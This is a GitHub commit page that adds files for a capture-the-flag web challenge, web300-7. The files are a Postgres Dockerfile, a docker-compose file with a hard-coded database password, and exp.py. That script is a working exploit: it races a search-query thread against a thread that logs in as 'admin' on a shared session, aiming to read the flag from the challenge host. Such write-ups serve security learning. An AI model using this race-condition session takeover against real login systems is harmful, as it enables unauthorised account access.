Skip to content

Commit

Permalink
add web300-7
Browse files Browse the repository at this point in the history
  • Loading branch information
wonderkun committed Apr 15, 2019
1 parent dbb8668 commit 0060a31
Show file tree
Hide file tree
Showing 5 changed files with 2,493 additions and 0 deletions.
7 changes: 7 additions & 0 deletions web300-7/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
FROM postgres



COPY ./schema.sql /docker-entrypoint-initdb.d/
COPY ./postgresql.conf /etc/postgresql/postgresql.conf
RUN chmod 0777 /etc/postgresql/postgresql.conf && mkdir -p /var/lib/postgresql/data/triggered/static
19 changes: 19 additions & 0 deletions web300-7/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
version: '3'
services:
db:
build: ./
restart: always
entrypoint:
- /docker-entrypoint.sh
- -c
- 'config_file=/etc/postgresql/postgresql.conf'
environment:
POSTGRES_PASSWORD: wonderkun

adminer:
image: adminer
restart: always
ports:
- 7777:8080

# /var/lib/postgresql/data
49 changes: 49 additions & 0 deletions web300-7/exp.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
#!/usr/bin/python

import requests
import threading
import time

s = requests.session()

def login(username):

url = "http://triggered.pwni.ng:52856/login"
data = {"username":username}

res = s.post(url,data=data)

print("[*] login with username")
# print(res.text)

def login_password(password):
url = "http://triggered.pwni.ng:52856/login/password"
data = {"password":password}

res = s.post(url,data=data)
print("[*] login with password")
# print(res.text)

def query(condition):
url = "http://triggered.pwni.ng:52856/search"
data = {"query":condition}

while True:
res = s.post(url,data=data)
print("[*] query a note ...")
if "no result" not in res.text:
print(res.text)
break
elif res.status_code != 200 :
break

if __name__ == '__main__':

login("rebirth1")
login_password("123")

t1 = threading.Thread(target=query,args=(" \"PCTF\" or "*10+ " \"PCTF\" " ,))
t1.start()
# time.sleep(3)
t2 = threading.Thread(target=login,args=("admin",))
t2.start()
Loading

0 comments on commit 0060a31

Please sign in to comment.